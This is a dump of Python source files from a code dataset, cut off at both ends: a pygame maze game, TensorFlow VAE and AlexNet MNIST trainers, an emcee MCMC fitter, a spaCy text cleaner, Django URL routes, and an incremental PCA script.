outcomes = quantum_measurements_ising(n_samples, fin_state)\n dict_outcomes = {}\n for outcome in outcomes:\n dict_outcomes[tuple(outcome)] = outcomes.count(outcome)\n \n #Evaluate Fp\n Mp = 0\n for outcome_w in dict_outcomes:\n Mp += dict_outcomes[outcome_w]*evaluate_magnetization_ising(outcome_w)\n return Mp/n_samples\n\n\n","sub_path":"ising.py","file_name":"ising.py","file_ext":"py","file_size_in_byte":5136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"350868043","text":"import pygame\r\nfrom pygame.locals import *\r\nfrom classes import Pixel_walkable, Player\r\nfrom random import randint\r\ndef main():\r\n \"\"\"\r\n Função principal do script\r\n \"\"\"\r\n try:\r\n # Variáveis \\/\r\n map_width = map_height = 40\r\n # O TAMANHO DO MAPA TEM QUE SER IGUALLLLL\r\n sizes = (map_width*10, map_height*10)\r\n key_pressed = 0 # KEY PARA O TECLA UP\r\n # Variáveis /\\\r\n pygame.init()\r\n window = pygame.display.set_mode(sizes)\r\n window.fill((255, 255, 255))\r\n pygame.display.set_caption('Walkable map')\r\n map_config = map_configuration(map_width, map_height)\r\n win_pixel = randint(0, len(map_config)) \r\n map_config[win_pixel].win_pixel = True \r\n map_config[win_pixel].walkable = True\r\n map_config[win_pixel].color = (0, 255, 0)\r\n map_config = create_walls(window, map_config, map_width, map_height)\r\n create_map(map_config, window)\r\n player = Player(int(map_width*10/2), int(map_height*10/2))\r\n pygame.draw.rect(window, (255, 0, 0),(player.pos,player.size))\r\n while True:\r\n for event in pygame.event.get():\r\n if event.type == QUIT:\r\n pygame.quit()\r\n exit()\r\n elif event.type == KEYDOWN:\r\n key_pressed = event.key\r\n if key_pressed == 32:\r\n map_config = player_power(window, map_config, map_width, player)\r\n create_map(map_config, window)\r\n pygame.draw.rect(window, (255, 0, 0),(player.pos,player.size))\r\n move_player(window, map_config, key_pressed, player, map_width, map_height, win_pixel)\r\n key_pressed = 0\r\n pygame.display.update()\r\n except Exception as erro:\r\n main() \r\ndef create_map(map_config, window):\r\n \"\"\"\r\n Função criadora do mapa com base no parametro map_config.\r\n map_configuration: Lista com a configuração de cada pixel_walkable\r\n return: O mapa pronto\r\n \"\"\"\r\n for pixel in map_config:\r\n pygame.draw.rect(window, pixel.color, (pixel.pos, pixel.size))\r\ndef map_configuration(map_width, map_height):\r\n \"\"\"\r\n Função que cria a configuração de cada pixel_walkable do mapa.\r\n map_width e map_height: Usado para calcular quantos pixel_walkables vão ter no mapa.\r\n retorn: Retorna essa configuração.\r\n \"\"\"\r\n number_of_pixels = map_height * map_width\r\n map_config = []\r\n pos_x = pos_y = 0\r\n for pixel in range(number_of_pixels):\r\n if randint(0, 3) == 0:\r\n new_pixel = Pixel_walkable(pos_x, pos_y, walkable=False)\r\n else:\r\n new_pixel = Pixel_walkable(pos_x, pos_y)\r\n pos_x += 10\r\n if pos_x == map_width*10:\r\n pos_x = 0\r\n pos_y += 10\r\n if pos_y == map_height*10 and map_width == pos_x:\r\n break\r\n map_config.append(new_pixel)\r\n return map_config\r\n\r\ndef move_player(window, map_config, key_pressed, player, map_width, map_height, win_pixel):\r\n \"\"\"\r\n Função que move o jogador pelo cenário utilizando com base o map_config.\r\n map_config: Lista da configuração do mapa\r\n key_pressed: Key pressionada pelo usuario no teclado\r\n \"\"\"\r\n if map_config[win_pixel].pos == player.pos:\r\n pygame.quit()\r\n main()\r\n player_index = 0\r\n for pixel in map_config:\r\n if pixel.pos[0] == player.pos[0] and pixel.pos[1] == player.pos[1]:\r\n break\r\n player_index += 1\r\n moviments_keys = (273, 274, 275, 276, 32, 27)\r\n if key_pressed in moviments_keys:\r\n if key_pressed == moviments_keys[0] and map_config[player_index-map_height].walkable:\r\n pygame.draw.rect(window, (255, 255, 255),(player.pos, player.size))\r\n player.pos[1] -= 10\r\n pygame.draw.rect(window, (player.color),(player.pos, player.size))\r\n elif key_pressed == moviments_keys[1] and map_config[player_index+map_height].walkable:\r\n pygame.draw.rect(window, (255, 255, 255),(player.pos, player.size))\r\n player.pos[1] += 10\r\n pygame.draw.rect(window, (player.color),(player.pos, player.size))\r\n elif key_pressed == moviments_keys[2] and map_config[player_index+1].walkable:\r\n pygame.draw.rect(window, (255, 255, 255),(player.pos, player.size))\r\n player.pos[0] += 10\r\n pygame.draw.rect(window, (player.color),(player.pos, player.size))\r\n elif key_pressed == moviments_keys[3] and map_config[player_index-1].walkable:\r\n pygame.draw.rect(window, (255, 255, 255),(player.pos, player.size))\r\n player.pos[0] -= 10\r\n pygame.draw.rect(window, (player.color),(player.pos, player.size))\r\n elif key_pressed == 27:\r\n pygame.quit()\r\n exit()\r\n\r\ndef create_walls(window, map_config, map_width, map_height):\r\n \"\"\"\r\n Função geradora das paredes do mapa\r\n return: Retorna o map_config com os pixels da parede com walkable = False\r\n \"\"\"\r\n walls = map_width\r\n column = 0\r\n for i in range(walls):\r\n map_config[i].walkable = False\r\n map_config[len(map_config)-1-i].walkable = False\r\n map_config[i].color = (0, 0, 0)\r\n map_config[len(map_config)-1-i].color = (0, 0, 0)\r\n map_config[column].walkable = False\r\n map_config[column].color = (0, 0, 0)\r\n map_config[map_width-1 + column].walkable = False\r\n map_config[map_width-1 + column].color = (0, 0, 0)\r\n column += map_width\r\n return map_config\r\n\r\ndef player_power(window, map_config, map_width, player):\r\n \"\"\"\r\n Função que utiliza o poder do player quer transformar os blocos ao seus lados e acima/abaixo em walkable = True\r\n \"\"\"\r\n player_index = 0\r\n for pixel in map_config:\r\n if pixel.pos[0] == player.pos[0] and pixel.pos[1] == player.pos[1]:\r\n break\r\n player_index += 1\r\n map_config[player_index + 1].walkable = True\r\n map_config[player_index + 1].color = (255, 255, 255)\r\n map_config[player_index - 1].walkable = True\r\n map_config[player_index - 1].color = (255, 255, 255)\r\n map_config[player_index + map_width].walkable = True\r\n map_config[player_index + map_width].color = (255, 255, 255)\r\n map_config[player_index - map_width].walkable = True\r\n map_config[player_index - map_width].color = (255, 255, 255)\r\n return map_config\r\nmain() \r\n","sub_path":"map_walk/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"141359291","text":"# -*- coding: utf-8 -*-\nimport functools\nimport sys\nfrom argparse import ArgumentParser\n\nimport tensorflow as tf\nfrom pprint import pformat\nfrom tensorflow.contrib.framework import arg_scope, add_arg_scope\n\nimport tfsnippet as spt\nfrom tfsnippet.examples.utils import (MLResults,\n save_images_collection,\n bernoulli_as_pixel,\n print_with_title,\n bernoulli_flow)\n\n\nclass ExpConfig(spt.Config):\n # model parameters\n z_dim = 80\n x_dim = 784\n\n # training parameters\n result_dir = None\n write_summary = False\n max_epoch = 3000\n max_step = None\n batch_size = 128\n l2_reg = 0.0001\n initial_lr = 0.001\n lr_anneal_factor = 0.5\n lr_anneal_epoch_freq = 300\n lr_anneal_step_freq = None\n\n # evaluation parameters\n test_n_z = 500\n test_batch_size = 128\n\n\nconfig = ExpConfig()\n\n\n@spt.global_reuse\n@add_arg_scope\ndef q_net(x, observed=None, n_z=None):\n net = spt.BayesianNet(observed=observed)\n\n # compute the hidden features\n with arg_scope([spt.layers.dense],\n activation_fn=tf.nn.leaky_relu,\n kernel_regularizer=spt.layers.l2_regularizer(config.l2_reg)):\n h_x = tf.to_float(x)\n h_x = spt.layers.dense(h_x, 500)\n h_x = spt.layers.dense(h_x, 500)\n\n # sample z ~ q(z|x)\n z_logits = spt.layers.dense(h_x, config.z_dim, name='z_logits')\n z = net.add('z', spt.Bernoulli(logits=z_logits), n_samples=n_z,\n group_ndims=1)\n\n return net\n\n\n@spt.global_reuse\n@add_arg_scope\ndef p_net(observed=None, n_z=None):\n net = spt.BayesianNet(observed=observed)\n\n # sample z ~ p(z)\n z = net.add('z', spt.Bernoulli(tf.zeros([1, config.z_dim])),\n group_ndims=1, n_samples=n_z)\n\n # compute the hidden features\n with arg_scope([spt.layers.dense],\n activation_fn=tf.nn.leaky_relu,\n kernel_regularizer=spt.layers.l2_regularizer(config.l2_reg)):\n h_z = tf.to_float(z)\n h_z = spt.layers.dense(h_z, 500)\n h_z = spt.layers.dense(h_z, 500)\n\n # sample x ~ p(x|z)\n x_logits = spt.layers.dense(h_z, config.x_dim, name='x_logits')\n x = net.add('x', spt.Bernoulli(logits=x_logits), group_ndims=1)\n\n return net\n\n\n@spt.global_reuse\ndef baseline_net(x):\n with arg_scope([spt.layers.dense],\n activation_fn=tf.nn.leaky_relu,\n kernel_regularizer=spt.layers.l2_regularizer(config.l2_reg)):\n h_x = tf.to_float(x)\n h_x = spt.layers.dense(h_x, 500)\n return tf.squeeze(spt.layers.dense(h_x, 1), -1)\n\n\ndef main():\n # parse the arguments\n arg_parser = ArgumentParser()\n spt.register_config_arguments(config, arg_parser, title='Model options')\n spt.register_config_arguments(spt.settings, arg_parser, prefix='tfsnippet',\n title='TFSnippet options')\n arg_parser.parse_args(sys.argv[1:])\n\n # print the config\n print_with_title('Configurations', pformat(config.to_dict()), after='\\n')\n\n # open the result object and prepare for result directories\n results = MLResults(config.result_dir)\n results.save_config(config) # save experiment settings for review\n results.make_dirs('plotting', exist_ok=True)\n results.make_dirs('train_summary', exist_ok=True)\n\n # input placeholders\n input_x = tf.placeholder(\n dtype=tf.int32, shape=(None, config.x_dim), name='input_x')\n learning_rate = spt.AnnealingVariable(\n 'learning_rate', config.initial_lr, config.lr_anneal_factor)\n\n # derive the loss and lower-bound for training\n with tf.name_scope('training'):\n train_q_net = q_net(input_x)\n train_chain = train_q_net.chain(p_net, observed={'x': input_x})\n\n baseline = baseline_net(input_x)\n nvil_loss = tf.reduce_mean(\n train_chain.vi.training.nvil(baseline=baseline))\n loss = tf.losses.get_regularization_loss() + nvil_loss\n\n # derive the nll and logits output for testing\n with tf.name_scope('testing'):\n test_q_net = q_net(input_x, n_z=config.test_n_z)\n test_chain = test_q_net.chain(\n p_net, latent_axis=0, observed={'x': input_x})\n test_nll = -tf.reduce_mean(\n test_chain.vi.evaluation.is_loglikelihood())\n test_lb = tf.reduce_mean(test_chain.vi.lower_bound.elbo())\n\n # derive the optimizer\n with tf.name_scope('optimizing'):\n optimizer = tf.train.AdamOptimizer(learning_rate)\n params = tf.trainable_variables()\n grads = optimizer.compute_gradients(loss, var_list=params)\n with tf.control_dependencies(\n tf.get_collection(tf.GraphKeys.UPDATE_OPS)):\n train_op = optimizer.apply_gradients(grads)\n\n # derive the plotting function\n with tf.name_scope('plotting'):\n plot_p_net = p_net(n_z=100)\n x_plots = tf.reshape(bernoulli_as_pixel(plot_p_net['x']), (-1, 28, 28))\n\n def plot_samples(loop):\n with loop.timeit('plot_time'):\n session = spt.utils.get_default_session_or_error()\n images = session.run(x_plots)\n save_images_collection(\n images=images,\n filename='plotting/{}.png'.format(loop.epoch),\n grid_size=(10, 10),\n results=results\n )\n\n # prepare for training and testing data\n (x_train, y_train), (x_test, y_test) = \\\n spt.datasets.load_mnist(x_shape=[784])\n train_flow = bernoulli_flow(\n x_train, config.batch_size, shuffle=True, skip_incomplete=True)\n test_flow = bernoulli_flow(\n x_test, config.test_batch_size, sample_now=True)\n\n with spt.utils.create_session().as_default():\n # train the network\n with spt.TrainLoop(params,\n max_epoch=config.max_epoch,\n max_step=config.max_step,\n summary_dir=(results.system_path('train_summary')\n if config.write_summary else None),\n summary_graph=tf.get_default_graph(),\n early_stopping=False) as loop:\n trainer = spt.Trainer(\n loop, train_op, [input_x], train_flow,\n metrics={'loss': loss},\n summaries=tf.summary.merge_all(spt.GraphKeys.AUTO_HISTOGRAM)\n )\n trainer.anneal_after(\n learning_rate,\n epochs=config.lr_anneal_epoch_freq,\n steps=config.lr_anneal_step_freq\n )\n evaluator = spt.Evaluator(\n loop,\n metrics={'test_nll': test_nll, 'test_lb': test_lb},\n inputs=[input_x],\n data_flow=test_flow,\n time_metric_name='test_time'\n )\n evaluator.events.on(\n spt.EventKeys.AFTER_EXECUTION,\n lambda e: results.update_metrics(evaluator.last_metrics_dict)\n )\n trainer.evaluate_after_epochs(evaluator, freq=10)\n trainer.evaluate_after_epochs(\n functools.partial(plot_samples, loop), freq=10)\n trainer.log_after_epochs(freq=1)\n trainer.run()\n\n # print the final metrics and close the results object\n print_with_title('Results', results.format_metrics(), before='\\n')\n results.close()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"tfsnippet/examples/auto_encoders/bernoulli_latent_vae.py","file_name":"bernoulli_latent_vae.py","file_ext":"py","file_size_in_byte":7489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"183976844","text":"# uncompyle6 version 3.6.7\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: /Users/mx/Dropbox (MIT)/Science/Code/allesfitter/mcmc.py\n# Compiled at: 2018-11-07 16:59:06\n__doc__ = '\\nCreated on Fri Oct 5 01:03:21 2018\\n\\n@author:\\nMaximilian N. Günther\\nMIT Kavli Institute for Astrophysics and Space Research, \\nMassachusetts Institute of Technology,\\n77 Massachusetts Avenue,\\nCambridge, MA 02109, \\nUSA\\nEmail: maxgue@mit.edu\\nWeb: www.mnguenther.com\\n'\nfrom __future__ import print_function, division, absolute_import\nimport numpy as np, os, emcee\nfrom multiprocessing import Pool\nfrom contextlib import closing\nimport warnings\nwarnings.filterwarnings('ignore', category=np.VisibleDeprecationWarning)\nwarnings.filterwarnings('ignore', category=np.RankWarning)\nfrom . import config\nfrom .computer import update_params, calculate_lnlike\nfrom .general_output import show_initial_guess, logprint\nfrom .mcmc_output import print_autocorr\n\ndef mcmc_lnlike(theta):\n params = update_params(theta)\n lnlike = 0\n for inst in config.BASEMENT.settings['inst_phot']:\n lnlike += calculate_lnlike(params, inst, 'flux')\n\n for inst in config.BASEMENT.settings['inst_rv']:\n lnlike += calculate_lnlike(params, inst, 'rv')\n\n return lnlike\n\n\ndef mcmc_lnprior(theta):\n \"\"\"\n bounds has to be list of len(theta), containing tuples of form\n ('none'), ('uniform', lower bound, upper bound), or ('normal', mean, std)\n \"\"\"\n lnp = 0.0\n for th, b in zip(theta, config.BASEMENT.bounds):\n if b[0] == 'uniform':\n if not b[1] <= th <= b[2]:\n return -np.inf\n elif b[0] == 'normal':\n lnp += np.log(1.0 / (np.sqrt(2 * np.pi) * b[2]) * np.exp(-(th - b[1]) ** 2 / (2.0 * b[2] ** 2)))\n else:\n raise ValueError('Bounds have to be \"uniform\" or \"normal\". Input from \"params.csv\" was \"' + b[0] + '\".')\n\n return lnp\n\n\ndef mcmc_lnprob(theta):\n \"\"\"\n has to be top-level for for multiprocessing pickle\n \"\"\"\n lp = mcmc_lnprior(theta)\n if not np.isfinite(lp):\n return -np.inf\n try:\n ln = mcmc_lnlike(theta)\n return lp + ln\n except:\n return -np.inf\n\n\ndef mcmc_fit(datadir):\n config.init(datadir)\n show_initial_guess()\n continue_old_run = False\n if os.path.exists(os.path.join(config.BASEMENT.outdir, 'mcmc_save.h5')):\n overwrite = raw_input(os.path.join(config.BASEMENT.outdir, 'mcmc_save.h5') + ' already exists.\\n' + 'What do you want to do?\\n' + '1 : overwrite the save file\\n' + '2 : append to the save file\\n' + '3 : abort\\n')\n if overwrite == '1':\n continue_old_run = False\n elif overwrite == '2':\n continue_old_run = True\n else:\n raise ValueError('User aborted operation.')\n backend = emcee.backends.HDFBackend(os.path.join(config.BASEMENT.outdir, 'mcmc_save.h5'))\n if not continue_old_run:\n backend.reset(config.BASEMENT.settings['mcmc_nwalkers'], config.BASEMENT.ndim)\n\n def run_mcmc(sampler):\n if continue_old_run:\n p0 = backend.get_chain()[-1, :, :]\n already_completed_steps = backend.get_chain().shape[0] * config.BASEMENT.settings['mcmc_thin_by']\n else:\n p0 = config.BASEMENT.theta_0 + config.BASEMENT.init_err * np.random.randn(config.BASEMENT.settings['mcmc_nwalkers'], config.BASEMENT.ndim)\n already_completed_steps = 0\n for i, b in enumerate(config.BASEMENT.bounds):\n if b[0] == 'uniform':\n p0[:, i] = np.clip(p0[:, i], b[1], b[2])\n\n sampler.run_mcmc(p0, (config.BASEMENT.settings['mcmc_total_steps'] - already_completed_steps) / config.BASEMENT.settings['mcmc_thin_by'], thin_by=config.BASEMENT.settings['mcmc_thin_by'], progress=True)\n return sampler\n\n logprint('\\nRunning MCMC...')\n logprint('--------------------------')\n if config.BASEMENT.settings['multiprocess']:\n with closing(Pool(processes=config.BASEMENT.settings['multiprocess_cores'])) as (pool):\n logprint('\\nRunning on', config.BASEMENT.settings['multiprocess_cores'], 'CPUs.')\n sampler = emcee.EnsembleSampler(config.BASEMENT.settings['mcmc_nwalkers'], config.BASEMENT.ndim, mcmc_lnprob, pool=pool, backend=backend)\n sampler = run_mcmc(sampler)\n else:\n sampler = emcee.EnsembleSampler(config.BASEMENT.settings['mcmc_nwalkers'], config.BASEMENT.ndim, mcmc_lnprob, backend=backend)\n sampler = run_mcmc(sampler)\n logprint('\\nAcceptance fractions:')\n logprint('--------------------------')\n logprint(sampler.acceptance_fraction)\n print_autocorr(sampler)","sub_path":"pycfiles/alley-0.0.3.tar/mcmc.py","file_name":"mcmc.py","file_ext":"py","file_size_in_byte":4732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"563508691","text":"import tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport numpy as np\nimport os\n\ntf.app.flags.DEFINE_float(flag_name=\"dropout_prob\",\n default_value=0.75,\n docstring=\"给定模型的Dropout,默认0.75\")\n\ntf.app.flags.DEFINE_bool(flag_name=\"is_train\",\n default_value=True,\n docstring=\"给定是否是训练操作,True表示训练,False表示预测!!\")\ntf.app.flags.DEFINE_integer(flag_name=\"batch_size\",\n default_value=16,\n docstring=\"给定训练的时候每个批次的样本数目,默认为16.\")\ntf.app.flags.DEFINE_integer(flag_name=\"display_step\",\n default_value=10,\n docstring=\"测试显示的间隔,默认为10\")\ntf.app.flags.DEFINE_float(flag_name=\"learning_rate\",\n default_value=0.001,\n docstring=\"给定模型的学习率,默认0.001\")\n\nFLAGS = tf.app.flags.FLAGS\n\n\n#获取动态学习率\ndef fetch_learning_rate(base_learning_rate, step, step_size=100, gamma=0.9):\n return base_learning_rate * gamma ** np.floor(step // step_size)\n\n# 定义卷积操作\ndef conv2d(name, x, w, b, strides=1):\n x = tf.nn.conv2d(x, w, strides=[1, strides, strides, 1], padding='SAME')\n x = tf.nn.bias_add(x, b)\n return tf.nn.relu(x, name=name)\n\n# 定义局部响应归一化\ndef norm(name, input_data, lsize=4):\n return tf.nn.lrn(input_data, depth_radius=lsize, bias=1, alpha=1, beta=0.5,\n name=name)\n\n\n# 定义池化操作\ndef max_pooling(name, x, k=2):\n return tf.nn.max_pool(x, ksize=[1, k, k, 1], strides=[1, k, k, 1], padding='SAME', name=name)\n\n\n# 创建模型\ndef create_model(x, weights, biases, dropout):\n x = tf.reshape(x, shape=[-1, 28, 28, 1]) # 输入层\n conv1 = conv2d(\"conv1\", x, weights['wc1'], biases['bc1']) # 第一层conv2d 卷积\n pooling1 = max_pooling(\"pooling1\", conv1, k=2) # 池化层(下采样)\n norm1 = norm(\"norm1\", pooling1, lsize=4)\n # 第二层\n conv2 = conv2d(\"conv2\", norm1, weights['wc2'], biases['bc2'])\n pooling2 = max_pooling(\"pooling2\", conv2, k=2)\n norm2 = norm(\"norm2\", pooling2, lsize=4)\n # 第三层\n conv3 = conv2d(\"conv3\", norm2, weights['wc3'], biases['bc3'])\n norm3 = norm(\"norm3\", conv3, lsize=4)\n # 第四层\n conv4 = conv2d(\"conv4_layer\", norm3, weights['wc4'], biases['bc4'])\n norm4 = norm(\"norm4\", conv4, lsize=4)\n # 第五层\n conv5 = conv2d(\"conv5_layer\", norm4, weights['wc5'], biases['bc5'])\n pooling5 = max_pooling(\"pooling5\", conv5, k=2)\n norm5 = norm(\"norm5\", pooling5, lsize=4)\n # 第六层 三维拉平到一维\n fc1 = tf.reshape(pooling5, [-1, weights['wd1'].get_shape().as_list()[0]])\n fc1 = tf.nn.dropout(fc1, keep_prob=dropout)\n fc1 = tf.nn.relu(tf.matmul(fc1, weights['wd1']) + biases['bd1'])\n\n # 第七层\n fc2 = tf.reshape(fc1, [-1, weights['wd2'].get_shape().as_list()[0]])\n fc2 = tf.nn.relu(tf.matmul(fc2, weights['wd2']) + biases['bd2'])\n fc2 = tf.nn.dropout(fc2, keep_prob=dropout)\n pred = tf.matmul(fc2, weights['out']) + biases['out']\n return pred\n\n\n# 创建损失函数\ndef create_loss(labels, pred):\n with tf.name_scope(\"loss\"):\n loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=labels, logits=pred))\n return loss\n\n\n# 创建训练器\ndef create_train_op(loss, learning_rate=0.001):\n with tf.name_scope(\"train\"):\n train_op = tf.train.AdamOptimizer(learning_rate=FLAGS.learning_rate).minimize(loss)\n return train_op\n\n\n# 精度获取\ndef create_accuracy(y, pred):\n with tf.name_scope(\"accuracy\"):\n correct_pred = tf.equal(tf.argmax(pred, 1), tf.argmax(y, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n return accuracy\n\n\n# 训练模型\ndef train():\n # 1:执行图的创建\n x = tf.placeholder(tf.float32, [None, 784])\n y = tf.placeholder(tf.float32, [None, 10])\n base_learning_rate = FLAGS.learning_rate\n learning_rate = tf.placeholder_with_default(input=base_learning_rate, shape=[], name='learning_rate')\n\n drop_prob = tf.placeholder(tf.float32)\n weights = {\n # 卷积核filter大小11*11 输入层为1个feature maps,输出层有96 feature maps\n 'wc1': tf.Variable(tf.random_normal([11, 11, 1, 96])),\n # 卷积核filter大小5*5 输入层为192个feature maps,输出层有384 feature maps\n 'wc2': tf.Variable(tf.random_normal([5, 5, 96, 256])),\n 'wc3': tf.Variable(tf.random_normal([3, 3, 256, 384])),\n 'wc4': tf.Variable(tf.random_normal([3, 3, 384, 384])),\n 'wc5': tf.Variable(tf.random_normal([3, 3, 384, 256])),\n 'wd1': tf.Variable(tf.random_normal([4 * 4 * 256, 4096])),\n 'wd2': tf.Variable(tf.random_normal([4096, 4096])),\n 'out': tf.Variable(tf.random_normal([4096, 10]))\n }\n biases = {\n 'bc1': tf.Variable(tf.random_normal([96])),\n 'bc2': tf.Variable(tf.random_normal([256])),\n 'bc3': tf.Variable(tf.random_normal([384])),\n 'bc4': tf.Variable(tf.random_normal([384])),\n 'bc5': tf.Variable(tf.random_normal([256])),\n 'bd1': tf.Variable(tf.random_normal([4096])),\n 'bd2': tf.Variable(tf.random_normal([4096])),\n 'out': tf.Variable(tf.random_normal([10]))\n }\n # 1. 网络结构的构建\n pred = create_model(x, weights, biases, drop_prob)\n # 2. 构建损失函数\n cost = create_loss(y, pred)\n # 3. 构建优化器\n train_op = create_train_op(cost, learning_rate=0.001)\n # 4. 准确率\n accuracy = create_accuracy(y, pred)\n # 2:执行图的运行\n # 获取数据\n mnist = input_data.read_data_sets(\n train_dir='datas/mnist', # 给定本地磁盘的数据存储路径\n one_hot=True, # 给定返回的数据中是否对Y做哑编码\n validation_size=5000 # 给定验证数据集的大小\n )\n init = tf.global_variables_initializer()\n\n with tf.Session() as sess:\n sess.run(init)\n step = 1\n while True:\n batch_xs, batch_ys = mnist.train.next_batch(FLAGS.batch_size)\n sess.run(train_op, feed_dict={x: batch_xs, y: batch_ys, drop_prob: FLAGS.dropout_prob,learning_rate:fetch_learning_rate(base_learning_rate,step=step)})\n if step % FLAGS.display_step == 0:\n acc = sess.run(accuracy, feed_dict={x: batch_xs, y: batch_ys, drop_prob: 1.})\n loss = sess.run(cost, feed_dict={x: batch_xs, y: batch_ys, drop_prob: 1.})\n print(\"Iter \" + str(step * FLAGS.batch_size) + \", Minibatch Loss = \" + \"{:.6f}\".format(\n loss) + \", Training Accuracy = \" + \"{:.5f}\".format(acc))\n step += 1\n\n\n# 模型预测\ndef prediction():\n pass\n\n\ndef main(_):\n if FLAGS.is_train:\n train()\n else:\n print(\"开始进行模型验证、测试代码运行.....\")\n\n\nif __name__ == '__main__':\n # 默认情况下,直接调用当前py文件中的main函数\n tf.app.run()\n","sub_path":"test10alexNet学习率.py","file_name":"test10alexNet学习率.py","file_ext":"py","file_size_in_byte":7099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"564961040","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n__author__ = 'Stefan Jansen'\n\nfrom pathlib import Path\nimport numpy as np\nimport pandas as pd\nimport pandas as pd\n\nfrom pathlib import Path\nimport tempfile\nimport os\nimport spacy\nfrom spacy.lang.en.stop_words import STOP_WORDS\nimport re\nimport numpy as np\nfrom sklearn.feature_extraction.text import CountVectorizer\n\npd.set_option('display.expand_frame_repr', False)\nnp.random.seed(42)\n\nnlp = spacy.load('en_core_web_sm')\n\n# Combine spacy and linguistic utils stopwords\nstop_words = pd.read_csv('http://ir.dcs.gla.ac.uk/resources/linguistic_utils/stop_words',\n header=None,\n squeeze=True)\n\nfor stop_word in stop_words:\n STOP_WORDS.add(stop_word)\n\n# where your text files are\ntext_path = Path('data/text')\ntext_files = text_path.glob('*.txt')\n\n\n# where the clean version should go\nclean_path = Path('data/clean')\nif not clean_path.exists():\n clean_path.mkdir(exist_ok=True, parents=True)\nfor i, text_file in enumerate(text_files):\n if i % 100 == 0:\n print(i, end=' ', flush=True)\n\n doc = text_file.read_text()\n clean_doc = ' '.join([t.lemma_ for t in nlp(doc) if not any([t.is_stop,\n t.is_digit,\n not t.is_alpha,\n t.is_punct,\n t.is_space,\n t.lemma_ == '-PRON-'])])\n (clean_path / text_file.name).write_text(clean_doc)\n\n\ndef clean_with_sklear(files):\n \"\"\"can also do this directly in countvectorizer but takes forever since can't run in parallel\"\"\"\n def tokenizer(doc):\n return [t.lemma_ for t in nlp(doc)\n if not any([t.is_stop,\n t.is_digit,\n not t.is_alpha,\n t.is_punct,\n t.is_space,\n t.lemma_ == '-PRON-'])]\n\n vectorizer = CountVectorizer(tokenizer=tokenizer, binary=True)\n doc_term_matrix = vectorizer.fit_transform([f.read_text() for f in files])\n","sub_path":"topic_modeling/clean_text_files.py","file_name":"clean_text_files.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"43443953","text":"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom . import views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path('',views.instruction,name=\"instruction\"),\n path('index',views.index,name=\"index\"),\n path('afterSearch',views.afterSearch,name=\"afterSearch\"),\n path('seatAlloc',views.seatAlloc,name=\"seatAlloc\"),\n path('registration', views.registration, name = 'registration'),\n path('afterregistration',views.afterregistration, name = 'afterregistration'),\n path('checkAvail',views.checkAvail, name = 'checkAvail'), \n path(\"signup\", views.signup, name='signup'),\n path(\"afterlogin\",views.afterlogin, name='afterlogin'),\n path(\"aftersignup\",views.aftersignup, name='aftersignup'),\n path(\"login\", views.login, name='login'),\n path(\"medical\", views.medical, name='medical'),\n path(\"history\", views.history, name='history'), \n path(\"pendingmedical\", views.pendingmedical, name='pendingmedical'),\n path(\"logout\", views.logout, name='logout'),\n path(\"ticket\", views.ticket, name='ticket'),\n path(\"cancelticket\", views.cancelticket, name='cancelticket'),\n path(\"aftercancel\", views.aftercancel, name='aftercancel'),\n]\n\nurlpatterns=urlpatterns + static(settings.MEDIA_URL,document_root=settings.MEDIA_ROOT)\n\n\n","sub_path":"Railway/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"284997143","text":"# -*- coding: utf-8 -*-\n\nimport sys\nimport numpy as np\nfrom sklearn.decomposition import IncrementalPCA\nfrom sklearn import preprocessing\nimport itertools\n\n# args[1] : Input file\n# args[2] : Dimention\n# args[3] : Chunk size\n# args[4] : Output file (Eigen vectors)\n# args[5] : Output file (Eigen values)\nargs = sys.argv\n\n# Setting\npca = IncrementalPCA(n_components=int(args[2]))\ni = 1\nstart = 0\nend = int(args[2])\neof = False\nchunksize = int(args[3])\n\n# Incremental PCA\nwhile eof == False:\n\twith open(args[1]) as f_input:\n\t\tstart = i * chunksize\n\t\tend = start + chunksize\n\t\t# Import\n\t\tdata = np.loadtxt(itertools.islice(f_input, start, end), delimiter=\",\")\n\t\tif (data.shape[0] < chunksize) or (len(data.shape) == 1):\n\t\t\teof = True\n\t\telse:\n\t\t\tdata = preprocessing.scale(np.log10(data + 1), axis=1, with_mean=True, with_std=False)\n\t\t\tpca.partial_fit(data)\n\t\t\ti = i + 1\n\n# Save\nnp.savetxt(args[4], pca.components_.T, delimiter=\",\")\nnp.savetxt(args[5], pca.explained_variance_, delimiter=\",\")\n","sub_path":"Analysis/src/Sklearn_Incremental.py","file_name":"Sklearn_Incremental.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"472010341","text":"from typing import Callable, Dict, List, Optional, Sequence, Union, Iterator, Any, Tuple, Iterable\n\nimport torch\nimport torch.nn as nn\nfrom torch.optim import Optimizer\n\nfrom ignite.engine import Engine, Events, _prepare_batch\nimport ignite.distributed as idist\nfrom ignite.metrics import Metric\n\n\nclass Model:\n def __init__(\n self,\n model: Union[nn.Module, Dict[str, nn.Module]],\n optimizer: Union[Optimizer, Dict[str, Optimizer]],\n loss_fn: Union[Optimizer, Dict[str, 